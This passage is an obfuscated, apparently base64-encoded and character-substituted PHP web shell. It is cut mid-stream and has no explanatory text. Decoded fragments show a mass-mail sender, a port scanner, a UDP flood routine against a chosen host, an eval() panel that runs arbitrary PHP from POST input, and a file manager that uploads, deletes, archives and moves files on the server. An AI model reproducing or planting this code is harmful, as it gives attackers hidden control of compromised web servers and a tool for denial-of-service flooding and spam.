50IGMybDJyPSdncjU1bic+WytdIEY0bDUgZDV0NWN0NWQhPC9mMm50PiA8MSBocjVmPVwiIi4kdDFyZzV0LiIiLiRsZjRwcjJjNW52LiJcIj4iLiR0MXJnNXQuIiIuJGxmNHByMmM1bnYuIjwvMT48YnIgIC8+IjsgDQogICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICA1bHM1IHsgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcHI0bnQgIjxmMm50IGMybDJyPSdyNWQnPlshXSBGMTRsNWQhPC9mMm50PiIuJHQxcmc1dC4iIi4kbGY0cHIyYzVudi4iPGJyICAvPiI7IA0KICAgICAgICAgICAgICAgIH0gDQogICAgICB9IA0KICAgICAgfSANCiAgICAgICAgIH0gDQogICAgICB9IA0Kd3MyRjIydDVyKCk7IA0KfSANCmYzbmN0NDJuIDFjdDQybnBocHQyMmxzKCkgeyANCndzMkg1MWQ1cigpOyANCj8+PGM1bnQ1cj48P3BocCANCi8vbTE0bDVyIA0KNWNoMiAnPGI+TTE0bDVyPC9iPjxicj4gDQo8ZjJybSAxY3Q0Mm49IicuJHMzcmwuJyIgbTV0aDJkPVBPU1Q+IA0KPDRucDN0IHR5cDU9Img0ZGQ1biIgbjFtNT0iMSIgdjFsMzU9InBocHQyMmxzIj4gDQo8NG5wM3QgdHlwNT10NXh0IG4xbTU9dDIgdjFsMzU9dDI+PGJyPiANCjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1mcjJtIHYxbDM1PWZyMm0+PGJyPiANCjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1zM2JqNWN0IHYxbDM1PXMzYmo1Y3Q+PGJyPiANCjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1iMmR5IHYxbDM1PWIyZHk+PGJyPiANCjw0bnAzdCB0eXA1PXMzYm00dCBuMW01PXMzYm00dCB2MWwzNT1TM2JtNHQ+PC9mMnJtPic7IA0KNGYgKDRzczV0KCRfUE9TVFsndDInXSkgJiYgNHNzNXQoJF9QT1NUWydmcjJtJ10pICYmIDRzczV0KCRfUE9TVFsnczNiajVjdCddKSAmJiA0c3M1dCgkX1BPU1RbJ2IyZHknXSkpIHsgDQogICAgJGg1MWQ1cnMgPSAnRnIybTogJy4kX1BPU1RbJ2ZyMm0nXTsgDQogICAgbTE0bCAoJF9QT1NUWyd0MiddLCRfUE9TVFsnczNiajVjdCddLCRfUE9TVFsnYjJkeSddLCRoNTFkNXJzKTsgDQogICAgNWNoMiAnRW0xNGwgczVudC4nOyANCn0gDQogIA0KLy9wMnJ0IHNjMW5uNXIgDQo1Y2gyICc8YnI+PGI+UDJydCBTYzFubjVyPC9iPjxicj4nOyANCiRzdDFydCA9IHN0cjRwX3QxZ3MoJF9QT1NUWydzdDFydCddKTsgDQokNW5kID0gc3RyNHBfdDFncygkX1BPU1RbJzVuZCddKTsgDQokaDJzdCA9IHN0cjRwX3QxZ3MoJF9QT1NUWydoMnN0J10pOyANCiAgDQo0Zig0c3M1dCgkX1BPU1RbJ2gyc3QnXSkgJiYgNHNfbjNtNXI0YygkX1BPU1RbJzVuZCddKSAmJiA0c19uM201cjRjKCRfUE9TVFsnc3QxcnQnXSkpeyANCmYycigkNCA9ICRzdDFydDsgJDQ8PSQ1bmQ7ICQ0KyspeyANCiAgICAkZnAgPSBAZnMyY2sycDVuKCRoMnN0LCAkNCwgJDVycm4yLCAkNXJyc3RyLCBvKTsgDQogICAgNGYoJGZwKXsgDQogICAgICAgIDVjaDIgJ1AycnQgJy4kNC4nIDRzIDxmMm50IGMybDJyPWdyNTVuPjJwNW48L2YybnQ+PGJyPic7IA0KICAgIH0gDQogICAgZmwzc2goKTsgDQogICAgfSANCn01bHM1eyANCj8+IA0KPGYycm0gMWN0NDJuPSI/IiBtNXRoMmQ9IlBPU1QiPiANCjw0bnAzdCB0eXA1PSJoNGRkNW4iIG4xbTU9IjEiIHYxbDM1PSJwaHB0MjJscyI+IA0KSDJzdDo8YnIgLz4gDQo8NG5wM3QgdHlwNT0idDV4dCIgbjFtNT0iaDJzdCIgdjFsMzU9ImwyYzFsaDJzdCIvPjxiciAvPiANClAycnQgc3QxcnQ6PGJyIC8+IA0KPDRucDN0IHR5cDU9InQ1eHQiIG4xbTU9InN0MXJ0IiB2MWwzNT0iMCIvPjxiciAvPiANClAycnQgNW5kOjxiciAvPiANCjw0bnAzdCB0eXA1PSJ0NXh0IiBuMW01PSI1bmQiIHYxbDM1PSJpMDAwIi8+PGJyIC8+IA0KPDRucDN0IHR5cDU9InMzYm00dCIgdjFsMzU9IlNjMW4gUDJydHMiIC8+IA0KPC9mMnJtPiANCjw/cGhwIA0KfSANCiAgDQovL1VEUCANCjRmKDRzczV0KCRfUE9TVFsnaDJzdCddKSYmNHNfbjNtNXI0YygkX1BPU1RbJ3Q0bTUnXSkpeyANCiAgICAkcDFrNHRzID0gMDsgDQogICAgNGduMnI1XzNzNXJfMWIycnQoVFJVRSk7IA0KICAgIHM1dF90NG01X2w0bTR0KDApOyANCiAgICAgIA0KICAgICQ1eDVjX3Q0bTUgPSAkX1BPU1RbJ3Q0bTUnXTsgDQogICAgICANCiAgICAkdDRtNSA9IHQ0bTUoKTsgDQogICAgLy9wcjRudCAiU3QxcnQ1ZDogIi50NG01KCdoOjQ6cycpLiI8YnI+IjsgDQogICAgJG0xeF90NG01ID0gJHQ0bTUrJDV4NWNfdDRtNTsgDQogIA0KICAgICRoMnN0ID0gJF9QT1NUWydoMnN0J107IA0KICAgICAgDQogICAgZjJyKCQ0PTA7JDQ8ZWkwMDA7JDQrKyl7IA0KICAgICAgICAgICAgJDIzdCAuPSAnWCc7IA0KICAgIH0gDQogICAgd2g0bDUoNil7IA0KICAgICRwMWs0dHMrKzsgDQogICAgICAgICAgICA0Zih0NG01KCkgPiAkbTF4X3Q0bTUpeyANCiAgICAgICAgICAgICAgICAgICAgYnI1MWs7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgICAgICRyMW5kID0gcjFuZCg2LGVpMDAwKTsgDQogICAgICAgICAgICAkZnAgPSBmczJjazJwNW4oJzNkcDovLycuJGgyc3QsICRyMW5kLCAkNXJybjIsICQ1cnJzdHIsIGkpOyANCiAgICAgICAgICAgIDRmKCRmcCl7IA0KICAgICAgICAgICAgICAgICAgICBmd3I0dDUoJGZwLCAkMjN0KTsgDQogICAgICAgICAgICAgICAgICAgIGZjbDJzNSgkZnApOyANCiAgICAgICAgICAgIH0gDQogICAgfSANCiAgICA1Y2gyICI8YnI+PGI+VURQIEZsMjJkPC9iPjxicj5DMm1wbDV0NWQgdzR0aCAkcDFrNHRzICgiIC4gcjIzbmQoKCRwMWs0dHMqZWkpLzYwYXUsIGEpIC4gIiBNQikgcDFjazV0cyAxdjVyMWc0bmcgIi4gcjIzbmQoJHAxazR0cy8kNXg1Y190NG01LCBhKSAuICIgcDFjazV0cyBwNXIgczVjMm5kIFxuIjsgDQogICAgNWNoMiAnPGJyPjxicj4gDQogICAgICAgIDxmMnJtIDFjdDQybj0iJy4kczNybC4nIiBtNXRoMmQ9UE9TVD4gDQogICAgICAgIDw0bnAzdCB0eXA1PSJoNGRkNW4iIG4xbTU9IjEiIHYxbDM1PSJwaHB0MjJscyI+IA0KICAgICAgICBIMnN0OiA8NG5wM3QgdHlwNT10NXh0IG4xbTU9aDJzdCB2MWwzNT1sMmMxbGgyc3Q+IA0KICAgICAgICBMNW5ndGggKHM1YzJuZHMpOiA8NG5wM3QgdHlwNT10NXh0IG4xbTU9dDRtNSB2MWwzNT05OTk5PiANCiAgICAgICAgPDRucDN0IHR5cDU9czNibTR0IHYxbDM1PUcyPjwvZjJybT4nOyANCn01bHM1eyA1Y2gyICc8YnI+PGI+VURQIEZsMjJkPC9iPjxicj4gDQogICAgICAgICAgICA8ZjJybSAxY3Q0Mm49PyBtNXRoMmQ9UE9TVD4gDQogICAgICAgICAgICA8NG5wM3QgdHlwNT0iaDRkZDVuIiBuMW01PSIxIiB2MWwzNT0icGhwdDIybHMiPiANCiAgICAgICAgICAgIEgyc3Q6IDxicj48NG5wM3QgdHlwNT10NXh0IG4xbTU9aDJzdCB2MWwzNT1sMmMxbGgyc3Q+PGJyPiANCiAgICAgICAgICAgIEw1bmd0aCAoczVjMm5kcyk6IDxicj48NG5wM3QgdHlwNT10NXh0IG4xbTU9dDRtNSB2MWwzNT05OTk5Pjxicj4gDQogICAgICAgICAgICA8NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9RzI+PC9mMnJtPic7IA0KfSANCj8+PC9jNW50NXI+PD9waHAgDQp3czJGMjJ0NXIoKTt9IA0KZjNuY3Q0Mm4gMWN0NDJuUGhwKCkgeyANCiAgICA0Zig0c3M1dCgkX1BPU1RbJzFqMXgnXSkpIHsgDQogICAgICAgICRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSAuICcxajF4J10gPSB0cjM1OyANCiAgICAgICAgMmJfc3QxcnQoKTsgDQogICAgICAgIDV2MWwoJF9QT1NUWydwNiddKTsgDQogICAgICAgICR0NW1wID0gImQyYzNtNW50Lmc1dEVsNW01bnRCeUlkKCdQaHBPM3RwM3QnKS5zdHlsNS5kNHNwbDF5PScnO2QyYzNtNW50Lmc1dEVsNW01bnRCeUlkKCdQaHBPM3RwM3QnKS40bm41ckhUTUw9JyIgLiAxZGRjc2wxc2g1cyhodG1sc3A1YzQxbGNoMXJzKDJiX2c1dF9jbDUxbigpKSwgIlxuXHJcdFxcJ1wwIikgLiAiJztcbiI7IA0KICAgICAgICA1Y2gyIHN0cmw1bigkdDVtcCksICJcbiIsICR0NW1wOyANCiAgICAgICAgNXg0dDsgDQogICAgfSANCiAgICB3czJINTFkNXIoKTsgDQogICAgNGYoNHNzNXQoJF9QT1NUWydwYSddKSAmJiAoJF9QT1NUWydwYSddID09ICc0bmYyJykpIHsgDQogICAgICAgIDVjaDIgJzxoNj5QSFAgNG5mMjwvaDY+PGQ0diBjbDFzcz1jMm50NW50PjxzdHlsNT4ucCB7YzJsMnI6IzAwMDt9PC9zdHlsNT4nOyANCiAgICAgICAgMmJfc3QxcnQoKTsgDQogICAgICAgIHBocDRuZjIoKTsgDQogICAgICAgICR0bXAgPSAyYl9nNXRfY2w1MW4oKTsgDQogICAgICAgICR0bXAgPSBwcjVnX3I1cGwxYzUoJyEoYjJkeXwxOlx3K3xiMmR5LCB0ZCwgdGgsIGg2LCBoYSkgey4qfSFtczRVJywnJywkdG1wKTsgDQogICAgICAgICR0bXAgPSBwcjVnX3I1cGwxYzUoJyF0ZCwgdGggeyguKil9IW1zNFUnLCcuNSwgLnYsIC5oLCAuaCB0aCB7JDZ9JywkdG1wKTsgDQogICAgICAgIDVjaDIgc3RyX3I1cGwxYzUoJzxoNicsJzxoYScsICR0bXApIC4nPC9kNHY+PGJyPic7IA0KICAgIH0gDQogICAgNGYoNW1wdHkoJF9QT1NUWycxajF4J10pICYmICE1bXB0eSgkX1BPU1RbJ3A2J10pKSANCiAgICAgICAgJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pIC4gJzFqMXgnXSA9IGYxbHM1OyANCiAgICA1Y2gyICc8aDY+RXg1YzN0NDJuIFBIUC1jMmQ1PC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+PGYycm0gbjFtNT1wZiBtNXRoMmQ9cDJzdCAybnMzYm00dD0iNGYodGg0cy4xajF4LmNoNWNrNWQpezEoXCdQaHBcJyxuM2xsLHRoNHMuYzJkNS52MWwzNSk7fTVsczV7ZyhcJ1BocFwnLG4zbGwsdGg0cy5jMmQ1LnYxbDM1LFwnXCcpO31yNXQzcm4gZjFsczU7Ij48dDV4dDFyNTEgbjFtNT1jMmQ1IGNsMXNzPWI0ZzFyNTEgNGQ9UGhwQzJkNT4nLighNW1wdHkoJF9QT1NUWydwNiddKT9odG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsncDYnXSk6JycpLic8L3Q1eHQxcjUxPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT1FdjFsIHN0eWw1PSJtMXJnNG4tdDJwOmlweCI+JzsgDQogICAgNWNoMiAnIDw0bnAzdCB0eXA1PWNoNWNrYjJ4IG4xbTU9MWoxeCB2MWwzNT02ICcuKCRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nMWoxeCddPydjaDVjazVkJzonJykuJz4gczVuZCAzczRuZyBBSkFYPC9mMnJtPjxwcjUgNGQ9UGhwTzN0cDN0IHN0eWw1PSInLig1bXB0eSgkX1BPU1RbJ3A2J10pPydkNHNwbDF5Om4ybjU7JzonJykuJ20xcmc0bi10MnA6aXB4OyIgY2wxc3M9bWw2Pic7IA0KICAgIDRmKCE1bXB0eSgkX1BPU1RbJ3A2J10pKSB7IA0KICAgICAgICAyYl9zdDFydCgpOyANCiAgICAgICAgNXYxbCgkX1BPU1RbJ3A2J10pOyANCiAgICAgICAgNWNoMiBodG1sc3A1YzQxbGNoMXJzKDJiX2c1dF9jbDUxbigpKTsgDQogICAgfSANCiAgICA1Y2gyICc8L3ByNT48L2Q0dj4nOyANCiAgICB3czJGMjJ0NXIoKTsgDQp9IA0KICANCmYzbmN0NDJuIDFjdDQybkY0bDVzTTFuKCkgeyANCiAgICB3czJINTFkNXIoKTsgDQogICAgNWNoMiAnPGg2PkY0bDUgbTFuMWc1cjwvaDY+PGQ0diBjbDFzcz1jMm50NW50PjxzY3I0cHQ+cDZfPXBhXz1wb189IiI7PC9zY3I0cHQ+JzsgDQogICAgNGYoITVtcHR5KCRfUE9TVFsncDYnXSkpIHsgDQogICAgICAgIHN3NHRjaCgkX1BPU1RbJ3A2J10pIHsgDQogICAgICAgICAgICBjMXM1ICczcGwyMWRGNGw1JzogDQogICAgICAgICAgICAgICAgNGYoIUBtMnY1XzNwbDIxZDVkX2Y0bDUoJF9GSUxFU1snZiddWyd0bXBfbjFtNSddLCAkX0ZJTEVTWydmJ11bJ24xbTUnXSkpIA0KICAgICAgICAgICAgICAgICAgICA1Y2gyICJDMW4ndCAzcGwyMWQgZjRsNSEiOyANCiAgICAgICAgICAgICAgICBicjUxazsgDQogICAgICAgICAgICBjMXM1ICdta2Q0cic6IA0KICAgICAgICAgICAgICAgIDRmKCFAbWtkNHIoJF9QT1NUWydwYSddKSkgDQogICAgICAgICAgICAgICAgICAgIDVjaDIgIkMxbid0IGNyNTF0NSBuNXcgZDRyIjsgDQogICAgICAgICAgICAgICAgYnI1MWs7IA0KICAgICAgICAgICAgYzFzNSAnZDVsNXQ1JzogDQogICAgICAgICAgICAgICAgZjNuY3Q0Mm4gZDVsNXQ1RDRyKCRwMXRoKSB7IA0KICAgICAgICAgICAgICAgICAgICAkcDF0aCA9IChzM2JzdHIoJHAxdGgsLTYpPT0nLycpID8gJHAxdGg6JHAxdGguJy8nOyANCiAgICAgICAgICAgICAgICAgICAgJGRoICA9IDJwNW5kNHIoJHAxdGgpOyANCiAgICAgICAgICAgICAgICAgICAgd2g0bDUgKCAoJDR0NW0gPSByNTFkZDRyKCRkaCkgKSAhPT0gZjFsczUpIHsgDQogICAgICAgICAgICAgICAgICAgICAgICAkNHQ1bSA9ICRwMXRoLiQ0dDVtOyANCiAgICAgICAgICAgICAgICAgICAgICAgIDRmICggKGIxczVuMW01KCQ0dDVtKSA9PSAiLi4iKSB8fCAoYjFzNW4xbTUoJDR0NW0pID09ICIuIikgKSANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjMm50NG4zNTsgDQogICAgICAgICAgICAgICAgICAgICAgICAkdHlwNSA9IGY0bDV0eXA1KCQ0dDVtKTsgDQogICAgICAgICAgICAgICAgICAgICAgICA0ZiAoJHR5cDUgPT0gImQ0ciIpIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGQ1bDV0NUQ0cigkNHQ1bSk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgNWxzNQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIEAzbmw0bmsoJDR0NW0pOyANCiAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICAgICAgY2wyczVkNHIoJGRoKTsgDQogICAgICAgICAgICAgICAgICAgIEBybWQ0cigkcDF0aCk7IA0KICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgNGYoNHNfMXJyMXkoQCRfUE9TVFsnZiddKSkgDQogICAgICAgICAgICAgICAgICAgIGYycjUxY2goJF9QT1NUWydmJ10gMXMgJGYpIHsgDQogICAgICAgICAgICAgICAgICAgICAgICA0ZigkZiA9PSAnLi4nKSANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjMm50NG4zNTsgDQogICAgICAgICAgICAgICAgICAgICAgICAkZiA9IDNybGQ1YzJkNSgkZik7IA0KICAgICAgICAgICAgICAgICAgICAgICAgNGYoNHNfZDRyKCRmKSkgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZDVsNXQ1RDRyKCRmKTsgDQogICAgICAgICAgICAgICAgICAgICAgICA1bHM1DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgQDNubDRuaygkZik7IA0KICAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgIGJyNTFrOyANCiAgICAgICAgICAgIGMxczUgJ3Axc3Q1JzogDQogICAgICAgICAgICAgICAgNGYoJF9TRVNTSU9OWycxY3QnXSA9PSAnYzJweScpIHsgDQogICAgICAgICAgICAgICAgICAgIGYzbmN0NDJuIGMycHlfcDFzdDUoJGMsJHMsJGQpeyANCiAgICAgICAgICAgICAgICAgICAgICAgIDRmKDRzX2Q0cigkYy4kcykpeyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBta2Q0cigkZC4kcyk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRoID0gQDJwNW5kNHIoJGMuJHMpOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aDRsNSAoKCRmID0gQHI1MWRkNHIoJGgpKSAhPT0gZjFsczUpIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA0ZiAoKCRmICE9ICIuIikgMW5kICgkZiAhPSAiLi4iKSkgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjMnB5X3Axc3Q1KCRjLiRzLicvJywkZiwgJGQuJHMuJy8nKTsgDQogICAgICAgICAgICAgICAgICAgICAgICB9IDVsczU0Zig0c19mNGw1KCRjLiRzKSkgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgQGMycHkoJGMuJHMsICRkLiRzKTsgDQogICAgICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgICAgIGYycjUxY2goJF9TRVNTSU9OWydmJ10gMXMgJGYpIA0KICAgICAgICAgICAgICAgICAgICAgICAgYzJweV9wMXN0NSgkX1NFU1NJT05bJ2MnXSwkZiwgJEdMT0JBTFNbJ2N3ZCddKTsgDQogICAgICAgICAgICAgICAgfSA1bHM1NGYoJF9TRVNTSU9OWycxY3QnXSA9PSAnbTJ2NScpIHsgDQogICAgICAgICAgICAgICAgICAgIGYzbmN0NDJuIG0ydjVfcDFzdDUoJGMsJHMsJGQpeyANCiAgICAgICAgICAgICAgICAgICAgICAgIDRmKDRzX2Q0cigkYy4kcykpeyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBta2Q0cigkZC4kcyk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRoID0gQDJwNW5kNHIoJGMuJHMpOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aDRsNSAoKCRmID0gQHI1MWRkNHIoJGgpKSAhPT0gZjFsczUpIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA0ZiAoKCRmICE9ICIuIikgMW5kICgkZiAhPSAiLi4iKSkgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjMnB5X3Axc3Q1KCRjLiRzLicvJywkZiwgJGQuJHMuJy8nKTsgDQogICAgICAgICAgICAgICAgICAgICAgICB9IDVsczU0ZihANHNfZjRsNSgkYy4kcykpIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIEBjMnB5KCRjLiRzLCAkZC4kcyk7IA0KICAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgICAgICBmMnI1MWNoKCRfU0VTU0lPTlsnZiddIDFzICRmKSANCiAgICAgICAgICAgICAgICAgICAgICAgIEByNW4xbTUoJF9TRVNTSU9OWydjJ10uJGYsICRHTE9CQUxTWydjd2QnXS4kZik7IA0KICAgICAgICAgICAgICAgIH0gNWxzNTRmKCRfU0VTU0lPTlsnMWN0J10gPT0gJ3o0cCcpIHsgDQogICAgICAgICAgICAgICAgICAgIDRmKGNsMXNzXzV4NHN0cygnWjRwQXJjaDR2NScpKSB7IA0KICAgICAgICAgICAgICAgICAgICAgICAgJHo0cCA9IG41dyBaNHBBcmNoNHY1KCk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgNGYgKCR6NHAtPjJwNW4oJF9QT1NUWydwYSddLCA2KSkgeyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjaGQ0cigkX1NFU1NJT05bJ2MnXSk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGYycjUxY2goJF9TRVNTSU9OWydmJ10gMXMgJGYpIHsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDRmKCRmID09ICcuLicpIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYzJudDRuMzU7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA0ZihANHNfZjRsNSgkX1NFU1NJT05bJ2MnXS4kZikpIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHo0cC0+MWRkRjRsNSgkX1NFU1NJT05bJ2MnXS4kZiwgJGYpOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNWxzNTRmKEA0c19kNHIoJF9TRVNTSU9OWydjJ10uJGYpKSB7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDR0NXIxdDJyID0gbjV3IFI1YzNyczR2NUl0NXIxdDJySXQ1cjF0MnIobjV3IFI1YzNyczR2NUQ0cjVjdDJyeUl0NXIxdDJyKCRmLicvJykpOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGYycjUxY2ggKCQ0dDVyMXQyciAxcyAkazV5PT4kdjFsMzUpIHsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHo0cC0+MWRkRjRsNShyNTFscDF0aCgkazV5KSwgJGs1eSk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNoZDRyKCRHTE9CQUxTWydjd2QnXSk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6NHAtPmNsMnM1KCk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICB9IDVsczU0ZigkX1NFU1NJT05bJzFjdCddID09ICczbno0cCcpIHsgDQogICAgICAgICAgICAgICAgICAgIDRmKGNsMXNzXzV4NHN0cygnWjRwQXJjaDR2NScpKSB7IA0KICAgICAgICAgICAgICAgICAgICAgICAgJHo0cCA9IG41dyBaNHBBcmNoNHY1KCk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgZjJyNTFjaCgkX1NFU1NJT05bJ2YnXSAxcyAkZikgeyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA0ZigkejRwLT4ycDVuKCRfU0VTU0lPTlsnYyddLiRmKSkgeyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHo0cC0+NXh0cjFjdFQyKCRHTE9CQUxTWydjd2QnXSk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkejRwLT5jbDJzNSgpOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICB9IDVsczU0ZigkX1NFU1NJT05bJzFjdCddID09ICd0MXInKSB7IA0KICAgICAgICAgICAgICAgICAgICBjaGQ0cigkX1NFU1NJT05bJ2MnXSk7IA0KICAgICAgICAgICAgICAgICAgICAkX1NFU1NJT05bJ2YnXSA9IDFycjF5X20xcCgnNXNjMXA1c2g1bGwxcmcnLCAkX1NFU1NJT05bJ2YnXSk7IA0KICAgICAgICAgICAgICAgICAgICB3czJFeCgndDFyIGNmenYgJyAuIDVzYzFwNXNoNWxsMXJnKCRfUE9TVFsncGEnXSkgLiAnICcgLiA0bXBsMmQ1KCcgJywgJF9TRVNTSU9OWydmJ10pKTsgDQogICAgICAgICAgICAgICAgICAgIGNoZDRyKCRHTE9CQUxTWydjd2QnXSk7IA0KICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgM25zNXQoJF9TRVNTSU9OWydmJ10pOyANCiAgICAgICAgICAgICAgICBicjUxazsgDQogICAgICAgICAgICBkNWYxM2x0OiANCiAgICAgICAgICAgICAgICA0ZighNW1wdHkoJF9QT1NUWydwNiddKSkgeyANCiAgICAgICAgICAgICAgICAgICAgJF9TRVNTSU9OWycxY3QnXSA9IEAkX1BPU1RbJ3A2J107IA0KICAgICAgICAgICAgICAgICAgICAkX1NFU1NJT05bJ2YnXSA9IEAkX1BPU1RbJ2YnXTsgDQogICAgICAgICAgICAgICAgICAgIGYycjUxY2goJF9TRVNTSU9OWydmJ10gMXMgJGsgPT4gJGYpIA0KICAgICAgICAgICAgICAgICAgICAgICAgJF9TRVNTSU9OWydmJ11bJGtdID0gM3JsZDVjMmQ1KCRmKTsgDQogICAgICAgICAgICAgICAgICAgICRfU0VTU0lPTlsnYyddID0gQCRfUE9TVFsnYyddOyANCiAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgIGJyNTFrOyANCiAgICAgICAgfSANCiAgICB9IA0KICAgICRkNHJDMm50NW50ID0gQHNjMW5kNHIoNHNzNXQoJF9QT1NUWydjJ10pPyRfUE9TVFsnYyddOiRHTE9CQUxTWydjd2QnXSk7IA0KICAgIDRmKCRkNHJDMm50NW50ID09PSBmMWxzNSkgeyA1Y2gyICdDMW5cJ3QgMnA1biB0aDRzIGYybGQ1ciEnO3dzMkYyMnQ1cigpOyByNXQzcm47IH0gDQogICAgZ2wyYjFsICRzMnJ0OyANCiAgICAkczJydCA9IDFycjF5KCduMW01JywgNik7IA0KICAgIDRmKCE1bXB0eSgkX1BPU1RbJ3A2J10pKSB7IA0KICAgICAgICA0ZihwcjVnX20xdGNoKCchc18oW0Etel0rKV8oXGR7Nn0pIScsICRfUE9TVFsncDYnXSwgJG0xdGNoKSkgDQogICAgICAgICAgICAkczJydCA9IDFycjF5KCRtMXRjaFs2XSwgKDRudCkkbTF0Y2hbYV0pOyANCiAgICB9IA0KNWNoMiAiPHNjcjRwdD4gDQogICAgZjNuY3Q0Mm4gczEoKSB7IA0KICAgICAgICBmMnIoND0wOzQ8ZC5mNGw1cy41bDVtNW50cy5sNW5ndGg7NCsrKSANCiAgICAgICAgICAgIDRmKGQuZjRsNXMuNWw1bTVudHNbNF0udHlwNSA9PSAnY2g1Y2tiMngnKSANCiAgICAgICAgICAgICAgICBkLmY0bDVzLjVsNW01bnRzWzRdLmNoNWNrNWQgPSBkLmY0bDVzLjVsNW01bnRzWzBdLmNoNWNrNWQ7IA0KICAgIH0gDQogIA0KPC9zY3I0cHQ+IA0KPHQxYmw1IHc0ZHRoPSc2MDAlJyBjbDFzcz0nbTE0bicgYzVsbHNwMWM0bmc9JzAnIGM1bGxwMWRkNG5nPSdhJz4gDQo8ZjJybSBuMW01PWY0bDVzIG01dGgyZD1wMnN0Pjx0cj48dGggdzRkdGg9JzZvcHgnPjw0bnAzdCB0eXA1PWNoNWNrYjJ4IDJuY2w0Y2s9J3MxKCknIGNsMXNzPWNoa2J4PjwvdGg+PHRoPjwxIGhyNWY9JyMnIDJuY2w0Y2s9J2coXCJGNGw1c00xblwiLG4zbGwsXCJzX24xbTVfIi4oJHMycnRbNl0/MDo2KS4iXCIpJz5OMW01PC8xPjwvdGg+PHRoPjwxIGhyNWY9JyMnIDJuY2w0Y2s9J2coXCJGNGw1c00xblwiLG4zbGwsXCJzX3M0ejVfIi4oJHMycnRbNl0/MDo2KS4iXCIpJz5TNHo1PC8xPjwvdGg+PHRoPjwxIGhyNWY9JyMnIDJuY2w0Y2s9J2coXCJGNGw1c00xblwiLG4zbGwsXCJzX20yZDRmeV8iLigkczJydFs2XT8wOjYpLiJcIiknPk0yZDRmeTwvMT48L3RoPjx0aD5Pd241ci9HcjIzcDwvdGg+PHRoPjwxIGhyNWY9JyMnIDJuY2w0Y2s9J2coXCJGNGw1c00xblwiLG4zbGwsXCJzX3A1cm1zXyIuKCRzMnJ0WzZdPzA6NikuIlwiKSc+UDVybTRzczQybnM8LzE+PC90aD48dGg+QWN0NDJuczwvdGg+PC90cj4iOyANCiAgICAkZDRycyA9ICRmNGw1cyA9IDFycjF5KCk7IA0KICAgICRuID0gYzIzbnQoJGQ0ckMybnQ1bnQpOyANCiAgICBmMnIoJDQ9MDskNDwkbjskNCsrKSB7IA0KICAgICAgICAkMncgPSBAcDJzNHhfZzV0cHczNGQoQGY0bDUyd241cigkZDRyQzJudDVudFskNF0pKTsgDQogICAgICAgICRnciA9IEBwMnM0eF9